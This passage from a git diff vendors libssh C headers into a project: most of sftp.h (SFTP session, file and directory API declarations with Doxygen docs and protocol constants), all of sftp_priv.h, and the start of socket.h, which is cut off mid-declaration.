It is described by sftp_message when reading a message, + * the sftp system puts it into the queue, so the process having asked for + * it can fetch it, while continuing to read for other messages (it is + * unspecified in which order messages may be sent back to the client + * + * @{ + */ + +#ifndef SFTP_H +#define SFTP_H + +#include + +#include "libssh.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _WIN32 +#ifndef uid_t + typedef uint32_t uid_t; +#endif /* uid_t */ +#ifndef gid_t + typedef uint32_t gid_t; +#endif /* gid_t */ +#ifdef _MSC_VER + +# ifndef _SSIZE_T_DEFINED +# undef ssize_t +# include + typedef _W64 SSIZE_T ssize_t; +# define _SSIZE_T_DEFINED +# endif /* _SSIZE_T_DEFINED */ + +#endif /* _MSC_VER */ +#endif /* _WIN32 */ + +#define LIBSFTP_VERSION 3 + +typedef struct sftp_attributes_struct* sftp_attributes; +typedef struct sftp_client_message_struct* sftp_client_message; +typedef struct sftp_dir_struct* sftp_dir; +typedef struct sftp_ext_struct *sftp_ext; +typedef struct sftp_file_struct* sftp_file; +typedef struct sftp_message_struct* sftp_message; +typedef struct sftp_packet_struct* sftp_packet; +typedef struct sftp_request_queue_struct* sftp_request_queue; +typedef struct sftp_session_struct* sftp_session; +typedef struct sftp_status_message_struct* sftp_status_message; +typedef struct sftp_statvfs_struct* sftp_statvfs_t; + +struct sftp_session_struct { + ssh_session session; + ssh_channel channel; + int server_version; + int client_version; + int version; + sftp_request_queue queue; + uint32_t id_counter; + int errnum; + void **handles; + sftp_ext ext; + sftp_packet read_packet; +}; + +struct sftp_packet_struct { + sftp_session sftp; + uint8_t type; + ssh_buffer payload; +}; + +/* file handler */ +struct sftp_file_struct { + sftp_session sftp; + char *name; + uint64_t offset; + ssh_string handle; + int eof; + int nonblocking; +}; + +struct sftp_dir_struct { + sftp_session sftp; + char *name; + ssh_string handle; /* handle to directory */ + ssh_buffer buffer; /* contains raw attributes from server which haven't been parsed */ + uint32_t count; /* counts the number of following attributes structures into buffer */ + int eof; /* end of directory listing */ +}; + +struct sftp_message_struct { + sftp_session sftp; + uint8_t packet_type; + ssh_buffer payload; + uint32_t id; +}; + +/* this is a bunch of all data that could be into a message */ +struct sftp_client_message_struct { + sftp_session sftp; + uint8_t type; + uint32_t id; + char *filename; /* can be "path" */ + uint32_t flags; + sftp_attributes attr; + ssh_string handle; + uint64_t offset; + uint32_t len; + int attr_num; + ssh_buffer attrbuf; /* used by sftp_reply_attrs */ + ssh_string data; /* can be newpath of rename() */ + ssh_buffer complete_message; /* complete message in case of retransmission*/ + char *str_data; /* cstring version of data */ + char *submessage; /* for extended messages */ +}; + +struct sftp_request_queue_struct { + sftp_request_queue next; + sftp_message message; +}; + +/* SSH_FXP_MESSAGE described into .7 page 26 */ +struct sftp_status_message_struct { + uint32_t id; + uint32_t status; + ssh_string error_unused; /* not used anymore */ + ssh_string lang_unused; /* not used anymore */ + char *errormsg; + char *langmsg; +}; + +struct sftp_attributes_struct { + char *name; + char *longname; /* ls -l output on openssh, not reliable else */ + uint32_t flags; + uint8_t type; + uint64_t size; + uint32_t uid; + uint32_t gid; + char *owner; /* set if openssh and version 4 */ + char *group; /* set if openssh and version 4 */ + uint32_t permissions; + uint64_t atime64; + uint32_t atime; + uint32_t atime_nseconds; + uint64_t createtime; + uint32_t createtime_nseconds; + uint64_t mtime64; + uint32_t mtime; + uint32_t mtime_nseconds; + ssh_string acl; + uint32_t extended_count; + ssh_string extended_type; + ssh_string extended_data; +}; + +/** + * @brief SFTP statvfs structure. + */ +struct sftp_statvfs_struct { + uint64_t f_bsize; /** file system block size */ + uint64_t f_frsize; /** fundamental fs block size */ + uint64_t f_blocks; /** number of blocks (unit f_frsize) */ + uint64_t f_bfree; /** free blocks in file system */ + uint64_t f_bavail; /** free blocks for non-root */ + uint64_t f_files; /** total file inodes */ + uint64_t f_ffree; /** free file inodes */ + uint64_t f_favail; /** free file inodes for to non-root */ + uint64_t f_fsid; /** file system id */ + uint64_t f_flag; /** bit mask of f_flag values */ + uint64_t f_namemax; /** maximum filename length */ +}; + +/** + * @brief Creates a new sftp session. + * + * This function creates a new sftp session and allocates a new sftp channel + * with the server inside of the provided ssh session. This function call is + * usually followed by the sftp_init(), which initializes SFTP protocol itself. + * + * @param session The ssh session to use. + * + * @return A new sftp session or NULL on error. + * + * @see sftp_free() + * @see sftp_init() + */ +LIBSSH_API sftp_session sftp_new(ssh_session session); + +/** + * @brief Start a new sftp session with an existing channel. + * + * @param session The ssh session to use. + * @param channel An open session channel with subsystem already allocated + * + * @return A new sftp session or NULL on error. + * + * @see sftp_free() + */ +LIBSSH_API sftp_session sftp_new_channel(ssh_session session, ssh_channel channel); + + +/** + * @brief Close and deallocate a sftp session. + * + * @param sftp The sftp session handle to free. + */ +LIBSSH_API void sftp_free(sftp_session sftp); + +/** + * @brief Initialize the sftp protocol with the server. + * + * This function involves the SFTP protocol initialization (as described + * in the SFTP specification), including the version and extensions negotiation. + * + * @param sftp The sftp session to initialize. + * + * @return 0 on success, < 0 on error with ssh error set. + * + * @see sftp_new() + */ +LIBSSH_API int sftp_init(sftp_session sftp); + +/** + * @brief Get the last sftp error. + * + * Use this function to get the latest error set by a posix like sftp function. + * + * @param sftp The sftp session where the error is saved. + * + * @return The saved error (see server responses), < 0 if an error + * in the function occurred. + * + * @see Server responses + */ +LIBSSH_API int sftp_get_error(sftp_session sftp); + +/** + * @brief Get the count of extensions provided by the server. + * + * @param sftp The sftp session to use. + * + * @return The count of extensions provided by the server, 0 on error or + * not available. + */ +LIBSSH_API unsigned int sftp_extensions_get_count(sftp_session sftp); + +/** + * @brief Get the name of the extension provided by the server. + * + * @param sftp The sftp session to use. + * + * @param indexn The index number of the extension name you want. + * + * @return The name of the extension. + */ +LIBSSH_API const char *sftp_extensions_get_name(sftp_session sftp, unsigned int indexn); + +/** + * @brief Get the data of the extension provided by the server. + * + * This is normally the version number of the extension. + * + * @param sftp The sftp session to use. + * + * @param indexn The index number of the extension data you want. + * + * @return The data of the extension. + */ +LIBSSH_API const char *sftp_extensions_get_data(sftp_session sftp, unsigned int indexn); + +/** + * @brief Check if the given extension is supported. + * + * @param sftp The sftp session to use. + * + * @param name The name of the extension. + * + * @param data The data of the extension. + * + * @return 1 if supported, 0 if not. + * + * Example: + * + * @code + * sftp_extension_supported(sftp, "statvfs@openssh.com", "2"); + * @endcode + */ +LIBSSH_API int sftp_extension_supported(sftp_session sftp, const char *name, + const char *data); + +/** + * @brief Open a directory used to obtain directory entries. + * + * @param session The sftp session handle to open the directory. + * @param path The path of the directory to open. + * + * @return A sftp directory handle or NULL on error with ssh and + * sftp error set. + * + * @see sftp_readdir + * @see sftp_closedir + */ +LIBSSH_API sftp_dir sftp_opendir(sftp_session session, const char *path); + +/** + * @brief Get a single file attributes structure of a directory. + * + * @param session The sftp session handle to read the directory entry. + * @param dir The opened sftp directory handle to read from. + * + * @return A file attribute structure or NULL at the end of the + * directory. + * + * @see sftp_opendir() + * @see sftp_attribute_free() + * @see sftp_closedir() + */ +LIBSSH_API sftp_attributes sftp_readdir(sftp_session session, sftp_dir dir); + +/** + * @brief Tell if the directory has reached EOF (End Of File). + * + * @param dir The sftp directory handle. + * + * @return 1 if the directory is EOF, 0 if not. + * + * @see sftp_readdir() + */ +LIBSSH_API int sftp_dir_eof(sftp_dir dir); + +/** + * @brief Get information about a file or directory. + * + * @param session The sftp session handle. + * @param path The path to the file or directory to obtain the + * information. + * + * @return The sftp attributes structure of the file or directory, + * NULL on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_attributes sftp_stat(sftp_session session, const char *path); + +/** + * @brief Get information about a file or directory. + * + * Identical to sftp_stat, but if the file or directory is a symbolic link, + * then the link itself is stated, not the file that it refers to. + * + * @param session The sftp session handle. + * @param path The path to the file or directory to obtain the + * information. + * + * @return The sftp attributes structure of the file or directory, + * NULL on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_attributes sftp_lstat(sftp_session session, const char *path); + +/** + * @brief Get information about a file or directory from a file handle. + * + * @param file The sftp file handle to get the stat information. + * + * @return The sftp attributes structure of the file or directory, + * NULL on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_attributes sftp_fstat(sftp_file file); + +/** + * @brief Free a sftp attribute structure. + * + * @param file The sftp attribute structure to free. + */ +LIBSSH_API void sftp_attributes_free(sftp_attributes file); + +/** + * @brief Close a directory handle opened by sftp_opendir(). + * + * @param dir The sftp directory handle to close. + * + * @return Returns SSH_NO_ERROR or SSH_ERROR if an error occurred. + */ +LIBSSH_API int sftp_closedir(sftp_dir dir); + +/** + * @brief Close an open file handle. + * + * @param file The open sftp file handle to close. + * + * @return Returns SSH_NO_ERROR or SSH_ERROR if an error occurred. + * + * @see sftp_open() + */ +LIBSSH_API int sftp_close(sftp_file file); + +/** + * @brief Open a file on the server. + * + * @param session The sftp session handle. + * + * @param file The file to be opened. + * + * @param accesstype Is one of O_RDONLY, O_WRONLY or O_RDWR which request + * opening the file read-only,write-only or read/write. + * Acesss may also be bitwise-or'd with one or more of + * the following: + * O_CREAT - If the file does not exist it will be + * created. + * O_EXCL - When used with O_CREAT, if the file already + * exists it is an error and the open will fail. + * O_TRUNC - If the file already exists it will be + * truncated. + * + * @param mode Mode specifies the permissions to use if a new file is + * created. It is modified by the process's umask in + * the usual way: The permissions of the created file are + * (mode & ~umask) + * + * @return A sftp file handle, NULL on error with ssh and sftp + * error set. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_file sftp_open(sftp_session session, const char *file, int accesstype, + mode_t mode); + +/** + * @brief Make the sftp communication for this file handle non blocking. + * + * @param[in] handle The file handle to set non blocking. + */ +LIBSSH_API void sftp_file_set_nonblocking(sftp_file handle); + +/** + * @brief Make the sftp communication for this file handle blocking. + * + * @param[in] handle The file handle to set blocking. + */ +LIBSSH_API void sftp_file_set_blocking(sftp_file handle); + +/** + * @brief Read from a file using an opened sftp file handle. + * + * @param file The opened sftp file handle to be read from. + * + * @param buf Pointer to buffer to receive read data. + * + * @param count Size of the buffer in bytes. + * + * @return Number of bytes written, < 0 on error with ssh and sftp + * error set. + * + * @see sftp_get_error() + */ +LIBSSH_API ssize_t sftp_read(sftp_file file, void *buf, size_t count); + +/** + * @brief Start an asynchronous read from a file using an opened sftp file handle. + * + * Its goal is to avoid the slowdowns related to the request/response pattern + * of a synchronous read. To do so, you must call 2 functions: + * + * sftp_async_read_begin() and sftp_async_read(). + * + * The first step is to call sftp_async_read_begin(). This function returns a + * request identifier. The second step is to call sftp_async_read() using the + * returned identifier. + * + * @param file The opened sftp file handle to be read from. + * + * @param len Size to read in bytes. + * + * @return An identifier corresponding to the sent request, < 0 on + * error. + * + * @warning When calling this function, the internal offset is + * updated corresponding to the len parameter. + * + * @warning A call to sftp_async_read_begin() sends a request to + * the server. When the server answers, libssh allocates + * memory to store it until sftp_async_read() is called. + * Not calling sftp_async_read() will lead to memory + * leaks. + * + * @see sftp_async_read() + * @see sftp_open() + */ +LIBSSH_API int sftp_async_read_begin(sftp_file file, uint32_t len); + +/** + * @brief Wait for an asynchronous read to complete and save the data. + * + * @param file The opened sftp file handle to be read from. + * + * @param data Pointer to buffer to receive read data. + * + * @param len Size of the buffer in bytes. It should be bigger or + * equal to the length parameter of the + * sftp_async_read_begin() call. + * + * @param id The identifier returned by the sftp_async_read_begin() + * function. + * + * @return Number of bytes read, 0 on EOF, SSH_ERROR if an error + * occurred, SSH_AGAIN if the file is opened in nonblocking + * mode and the request hasn't been executed yet. + * + * @warning A call to this function with an invalid identifier + * will never return. + * + * @see sftp_async_read_begin() + */ +LIBSSH_API int sftp_async_read(sftp_file file, void *data, uint32_t len, uint32_t id); + +/** + * @brief Write to a file using an opened sftp file handle. + * + * @param file Open sftp file handle to write to. + * + * @param buf Pointer to buffer to write data. + * + * @param count Size of buffer in bytes. + * + * @return Number of bytes written, < 0 on error with ssh and sftp + * error set. + * + * @see sftp_open() + * @see sftp_read() + * @see sftp_close() + */ +LIBSSH_API ssize_t sftp_write(sftp_file file, const void *buf, size_t count); + +/** + * @brief Seek to a specific location in a file. + * + * @param file Open sftp file handle to seek in. + * + * @param new_offset Offset in bytes to seek. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int sftp_seek(sftp_file file, uint32_t new_offset); + +/** + * @brief Seek to a specific location in a file. This is the + * 64bit version. + * + * @param file Open sftp file handle to seek in. + * + * @param new_offset Offset in bytes to seek. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int sftp_seek64(sftp_file file, uint64_t new_offset); + +/** + * @brief Report current byte position in file. + * + * @param file Open sftp file handle. + * + * @return The offset of the current byte relative to the beginning + * of the file associated with the file descriptor. < 0 on + * error. + */ +LIBSSH_API unsigned long sftp_tell(sftp_file file); + +/** + * @brief Report current byte position in file. + * + * @param file Open sftp file handle. + * + * @return The offset of the current byte relative to the beginning + * of the file associated with the file descriptor. < 0 on + * error. + */ +LIBSSH_API uint64_t sftp_tell64(sftp_file file); + +/** + * @brief Rewinds the position of the file pointer to the beginning of the + * file. + * + * @param file Open sftp file handle. + */ +LIBSSH_API void sftp_rewind(sftp_file file); + +/** + * @brief Unlink (delete) a file. + * + * @param sftp The sftp session handle. + * + * @param file The file to unlink/delete. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_unlink(sftp_session sftp, const char *file); + +/** + * @brief Remove a directory. + * + * @param sftp The sftp session handle. + * + * @param directory The directory to remove. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_rmdir(sftp_session sftp, const char *directory); + +/** + * @brief Create a directory. + * + * @param sftp The sftp session handle. + * + * @param directory The directory to create. + * + * @param mode Specifies the permissions to use. It is modified by the + * process's umask in the usual way: + * The permissions of the created file are (mode & ~umask) + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_mkdir(sftp_session sftp, const char *directory, mode_t mode); + +/** + * @brief Rename or move a file or directory. + * + * @param sftp The sftp session handle. + * + * @param original The original url (source url) of file or directory to + * be moved. + * + * @param newname The new url (destination url) of the file or directory + * after the move. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_rename(sftp_session sftp, const char *original, const char *newname); + +/** + * @brief Set file attributes on a file, directory or symbolic link. + * + * Note, that this function can only set time values using 32 bit values due to + * the restrictions in the SFTP protocol version 3 implemented by libssh. + * The support for 64 bit time values was introduced in SFTP version 5, which is + * not implemented by libssh nor any major SFTP servers. + * + * @param sftp The sftp session handle. + * + * @param file The file which attributes should be changed. + * + * @param attr The file attributes structure with the attributes set + * which should be changed. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_setstat(sftp_session sftp, const char *file, sftp_attributes attr); + +/** + * @brief Change the file owner and group + * + * @param sftp The sftp session handle. + * + * @param file The file which owner and group should be changed. + * + * @param owner The new owner which should be set. + * + * @param group The new group which should be set. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_chown(sftp_session sftp, const char *file, uid_t owner, gid_t group); + +/** + * @brief Change permissions of a file + * + * @param sftp The sftp session handle. + * + * @param file The file which owner and group should be changed. + * + * @param mode Specifies the permissions to use. It is modified by the + * process's umask in the usual way: + * The permissions of the created file are (mode & ~umask) + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_chmod(sftp_session sftp, const char *file, mode_t mode); + +/** + * @brief Change the last modification and access time of a file. + * + * @param sftp The sftp session handle. + * + * @param file The file which owner and group should be changed. + * + * @param times A timeval structure which contains the desired access + * and modification time. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_utimes(sftp_session sftp, const char *file, const struct timeval *times); + +/** + * @brief Create a symbolic link. + * + * @param sftp The sftp session handle. + * + * @param target Specifies the target of the symlink. + * + * @param dest Specifies the path name of the symlink to be created. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_symlink(sftp_session sftp, const char *target, const char *dest); + +/** + * @brief Read the value of a symbolic link. + * + * @param sftp The sftp session handle. + * + * @param path Specifies the path name of the symlink to be read. + * + * @return The target of the link, NULL on error. + * The caller needs to free the memory + * using ssh_string_free_char(). + * + * @see sftp_get_error() + */ +LIBSSH_API char *sftp_readlink(sftp_session sftp, const char *path); + +/** + * @brief Get information about a mounted file system. + * + * @param sftp The sftp session handle. + * + * @param path The pathname of any file within the mounted file system. + * + * @return A statvfs structure or NULL on error. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_statvfs_t sftp_statvfs(sftp_session sftp, const char *path); + +/** + * @brief Get information about a mounted file system. + * + * @param file An opened file. + * + * @return A statvfs structure or NULL on error. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_statvfs_t sftp_fstatvfs(sftp_file file); + +/** + * @brief Free the memory of an allocated statvfs. + * + * @param statvfs_o The statvfs to free. + */ +LIBSSH_API void sftp_statvfs_free(sftp_statvfs_t statvfs_o); + +/** + * @brief Synchronize a file's in-core state with storage device + * + * This calls the "fsync@openssh.com" extension. You should check if the + * extensions is supported using: + * + * @code + * int supported = sftp_extension_supported(sftp, "fsync@openssh.com", "1"); + * @endcode + * + * @param file The opened sftp file handle to sync + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + */ +LIBSSH_API int sftp_fsync(sftp_file file); + +/** + * @brief Canonicalize a sftp path. + * + * @param sftp The sftp session handle. + * + * @param path The path to be canonicalized. + * + * @return A pointer to the newly allocated canonicalized path, + * NULL on error. The caller needs to free the memory + * using ssh_string_free_char(). + */ +LIBSSH_API char *sftp_canonicalize_path(sftp_session sftp, const char *path); + +/** + * @brief Get the version of the SFTP protocol supported by the server + * + * @param sftp The sftp session handle. + * + * @return The server version. + */ +LIBSSH_API int sftp_server_version(sftp_session sftp); + +#ifdef WITH_SERVER +/** + * @brief Create a new sftp server session. + * + * @param session The ssh session to use. + * + * @param chan The ssh channel to use. + * + * @return A new sftp server session. + */ +LIBSSH_API sftp_session sftp_server_new(ssh_session session, ssh_channel chan); + +/** + * @brief Initialize the sftp server. + * + * @param sftp The sftp session to init. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int sftp_server_init(sftp_session sftp); + +/** + * @brief Close and deallocate a sftp server session. + * + * @param sftp The sftp session handle to free. + */ +LIBSSH_API void sftp_server_free(sftp_session sftp); +#endif /* WITH_SERVER */ + +/* sftpserver.c */ + +LIBSSH_API sftp_client_message sftp_get_client_message(sftp_session sftp); +LIBSSH_API void sftp_client_message_free(sftp_client_message msg); +LIBSSH_API uint8_t sftp_client_message_get_type(sftp_client_message msg); +LIBSSH_API const char *sftp_client_message_get_filename(sftp_client_message msg); +LIBSSH_API void sftp_client_message_set_filename(sftp_client_message msg, const char *newname); +LIBSSH_API const char *sftp_client_message_get_data(sftp_client_message msg); +LIBSSH_API uint32_t sftp_client_message_get_flags(sftp_client_message msg); +LIBSSH_API const char *sftp_client_message_get_submessage(sftp_client_message msg); +LIBSSH_API int sftp_send_client_message(sftp_session sftp, sftp_client_message msg); +LIBSSH_API int sftp_reply_name(sftp_client_message msg, const char *name, + sftp_attributes attr); +LIBSSH_API int sftp_reply_handle(sftp_client_message msg, ssh_string handle); +LIBSSH_API ssh_string sftp_handle_alloc(sftp_session sftp, void *info); +LIBSSH_API int sftp_reply_attr(sftp_client_message msg, sftp_attributes attr); +LIBSSH_API void *sftp_handle(sftp_session sftp, ssh_string handle); +LIBSSH_API int sftp_reply_status(sftp_client_message msg, uint32_t status, const char *message); +LIBSSH_API int sftp_reply_names_add(sftp_client_message msg, const char *file, + const char *longname, sftp_attributes attr); +LIBSSH_API int sftp_reply_names(sftp_client_message msg); +LIBSSH_API int sftp_reply_data(sftp_client_message msg, const void *data, int len); +LIBSSH_API void sftp_handle_remove(sftp_session sftp, void *handle); + +/* SFTP commands and constants */ +#define SSH_FXP_INIT 1 +#define SSH_FXP_VERSION 2 +#define SSH_FXP_OPEN 3 +#define SSH_FXP_CLOSE 4 +#define SSH_FXP_READ 5 +#define SSH_FXP_WRITE 6 +#define SSH_FXP_LSTAT 7 +#define SSH_FXP_FSTAT 8 +#define SSH_FXP_SETSTAT 9 +#define SSH_FXP_FSETSTAT 10 +#define SSH_FXP_OPENDIR 11 +#define SSH_FXP_READDIR 12 +#define SSH_FXP_REMOVE 13 +#define SSH_FXP_MKDIR 14 +#define SSH_FXP_RMDIR 15 +#define SSH_FXP_REALPATH 16 +#define SSH_FXP_STAT 17 +#define SSH_FXP_RENAME 18 +#define SSH_FXP_READLINK 19 +#define SSH_FXP_SYMLINK 20 + +#define SSH_FXP_STATUS 101 +#define SSH_FXP_HANDLE 102 +#define SSH_FXP_DATA 103 +#define SSH_FXP_NAME 104 +#define SSH_FXP_ATTRS 105 + +#define SSH_FXP_EXTENDED 200 +#define SSH_FXP_EXTENDED_REPLY 201 + +/* attributes */ +/* sftp draft is completely braindead : version 3 and 4 have different flags for same constants */ +/* and even worst, version 4 has same flag for 2 different constants */ +/* follow up : i won't develop any sftp4 compliant library before having a clarification */ + +#define SSH_FILEXFER_ATTR_SIZE 0x00000001 +#define SSH_FILEXFER_ATTR_PERMISSIONS 0x00000004 +#define SSH_FILEXFER_ATTR_ACCESSTIME 0x00000008 +#define SSH_FILEXFER_ATTR_ACMODTIME 0x00000008 +#define SSH_FILEXFER_ATTR_CREATETIME 0x00000010 +#define SSH_FILEXFER_ATTR_MODIFYTIME 0x00000020 +#define SSH_FILEXFER_ATTR_ACL 0x00000040 +#define SSH_FILEXFER_ATTR_OWNERGROUP 0x00000080 +#define SSH_FILEXFER_ATTR_SUBSECOND_TIMES 0x00000100 +#define SSH_FILEXFER_ATTR_EXTENDED 0x80000000 +#define SSH_FILEXFER_ATTR_UIDGID 0x00000002 + +/* types */ +#define SSH_FILEXFER_TYPE_REGULAR 1 +#define SSH_FILEXFER_TYPE_DIRECTORY 2 +#define SSH_FILEXFER_TYPE_SYMLINK 3 +#define SSH_FILEXFER_TYPE_SPECIAL 4 +#define SSH_FILEXFER_TYPE_UNKNOWN 5 + +/** + * @name Server responses + * + * @brief Responses returned by the sftp server. + * @{ + */ + +/** No error */ +#define SSH_FX_OK 0 +/** End-of-file encountered */ +#define SSH_FX_EOF 1 +/** File doesn't exist */ +#define SSH_FX_NO_SUCH_FILE 2 +/** Permission denied */ +#define SSH_FX_PERMISSION_DENIED 3 +/** Generic failure */ +#define SSH_FX_FAILURE 4 +/** Garbage received from server */ +#define SSH_FX_BAD_MESSAGE 5 +/** No connection has been set up */ +#define SSH_FX_NO_CONNECTION 6 +/** There was a connection, but we lost it */ +#define SSH_FX_CONNECTION_LOST 7 +/** Operation not supported by the server */ +#define SSH_FX_OP_UNSUPPORTED 8 +/** Invalid file handle */ +#define SSH_FX_INVALID_HANDLE 9 +/** No such file or directory path exists */ +#define SSH_FX_NO_SUCH_PATH 10 +/** An attempt to create an already existing file or directory has been made */ +#define SSH_FX_FILE_ALREADY_EXISTS 11 +/** We are trying to write on a write-protected filesystem */ +#define SSH_FX_WRITE_PROTECT 12 +/** No media in remote drive */ +#define SSH_FX_NO_MEDIA 13 + +/** @} */ + +/* file flags */ +#define SSH_FXF_READ 0x01 +#define SSH_FXF_WRITE 0x02 +#define SSH_FXF_APPEND 0x04 +#define SSH_FXF_CREAT 0x08 +#define SSH_FXF_TRUNC 0x10 +#define SSH_FXF_EXCL 0x20 +#define SSH_FXF_TEXT 0x40 + +/* file type flags */ +#define SSH_S_IFMT 00170000 +#define SSH_S_IFSOCK 0140000 +#define SSH_S_IFLNK 0120000 +#define SSH_S_IFREG 0100000 +#define SSH_S_IFBLK 0060000 +#define SSH_S_IFDIR 0040000 +#define SSH_S_IFCHR 0020000 +#define SSH_S_IFIFO 0010000 + +/* rename flags */ +#define SSH_FXF_RENAME_OVERWRITE 0x00000001 +#define SSH_FXF_RENAME_ATOMIC 0x00000002 +#define SSH_FXF_RENAME_NATIVE 0x00000004 + +#define SFTP_OPEN SSH_FXP_OPEN +#define SFTP_CLOSE SSH_FXP_CLOSE +#define SFTP_READ SSH_FXP_READ +#define SFTP_WRITE SSH_FXP_WRITE +#define SFTP_LSTAT SSH_FXP_LSTAT +#define SFTP_FSTAT SSH_FXP_FSTAT +#define SFTP_SETSTAT SSH_FXP_SETSTAT +#define SFTP_FSETSTAT SSH_FXP_FSETSTAT +#define SFTP_OPENDIR SSH_FXP_OPENDIR +#define SFTP_READDIR SSH_FXP_READDIR +#define SFTP_REMOVE SSH_FXP_REMOVE +#define SFTP_MKDIR SSH_FXP_MKDIR +#define SFTP_RMDIR SSH_FXP_RMDIR +#define SFTP_REALPATH SSH_FXP_REALPATH +#define SFTP_STAT SSH_FXP_STAT +#define SFTP_RENAME SSH_FXP_RENAME +#define SFTP_READLINK SSH_FXP_READLINK +#define SFTP_SYMLINK SSH_FXP_SYMLINK +#define SFTP_EXTENDED SSH_FXP_EXTENDED + +/* openssh flags */ +#define SSH_FXE_STATVFS_ST_RDONLY 0x1 /* read-only */ +#define SSH_FXE_STATVFS_ST_NOSUID 0x2 /* no setuid */ + +#ifdef __cplusplus +} +#endif + +#endif /* SFTP_H */ + +/** @} */ diff --git a/vendor/libssh/include/libssh/sftp_priv.h b/vendor/libssh/include/libssh/sftp_priv.h new file mode 100644 index 0000000..005bf85 --- /dev/null +++ b/vendor/libssh/include/libssh/sftp_priv.h @@ -0,0 +1,40 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2008 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef SFTP_PRIV_H +#define SFTP_PRIV_H + +#ifdef __cplusplus +extern "C" { +#endif + +sftp_packet sftp_packet_read(sftp_session sftp); +int sftp_packet_write(sftp_session sftp, uint8_t type, ssh_buffer payload); +void sftp_packet_free(sftp_packet packet); +int buffer_add_attributes(ssh_buffer buffer, sftp_attributes attr); +sftp_attributes sftp_parse_attr(sftp_session session, + ssh_buffer buf, + int expectname); + +#ifdef __cplusplus +} +#endif + +#endif /* SFTP_PRIV_H */ diff --git a/vendor/libssh/include/libssh/socket.h b/vendor/libssh/include/libssh/socket.h new file mode 100644 index 0000000..cdd3c83 --- /dev/null +++ b/vendor/libssh/include/libssh/socket.h @@ -0,0 +1,72 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef SOCKET_H_ +#define SOCKET_H_ + +#include "libssh/callbacks.h" +struct ssh_poll_handle_struct; +/* socket.c */ + +struct ssh_socket_struct; +typedef struct ssh_socket_struct* ssh_socket; + +int ssh_socket_init(void); +void ssh_socket_cleanup(void); +ssh_socket ssh_socket_new(ssh_session session); +void ssh_socket_reset(ssh_socket s); +void ssh_socket_free(ssh_socket s); +void ssh_socket_set_fd(ssh_socket s, socket_t fd); +socket_t ssh_socket_get_fd(ssh_socket s); +void ssh_socket_set_connected(ssh_socket s, struct ssh_poll_handle_struct *p); +int ssh_socket_unix(ssh_socket s, const char *path); +void ssh_execute_command(const char *command, socket_t in, socket_t out); +#ifndef _WIN32 +int ssh_socket_connect_proxycommand(ssh_socket s, const char *command); +#endif +void ssh_socket_close(ssh_socket s); +int ssh_socket_write(ssh_socket s,const void *buffer, uint32_t len); +int ssh_socket_is_open(ssh_socket s); +int ssh_socket_fd_isset(ssh_socket s, fd_set *set); +void ssh_socket_fd_set(ssh_socket s, fd_set *set, socket_t *max_fd); +void ssh_socket_set_fd_in(ssh_socket s, socket_t fd); +void ssh_socket_set_fd_out(ssh_socket s, socket_t fd); +int ssh_socket_nonblocking_flush(ssh_socket s); +void ssh_socket_set_write_wontblock(ssh_socket s); +void ssh_socket_set_read_wontblock(ssh_socket s); +void ssh_socket_set_except(ssh_socket s); +int ssh_socket_get_status(ssh_socket s); +int ssh_socket_get_poll_flags(ssh_socket s); +int ssh_socket_buffered_write_bytes(ssh_socket s); +int ssh_socket_data_available(ssh_socket s); +int ssh_socket_data_writable(ssh_socket s); +int ssh_socket_set_nonblocking(socket_t fd); +int ssh_socket_set_blocking(socket_t fd); + +void ssh_socket_set_callbacks(ssh_socket s, ssh_socket_callbacks callbacks); +int ssh_socket_pollcallback(struct ssh_poll_handle_struct *p, socket_t fd, int revents, void *v_s); +struct ssh_poll_handle_struct * ssh_socket_get_poll_handle(ssh_socket s); + +int ssh_socket_connect(ssh_socket s, + const char *host, + uint16_t port, + 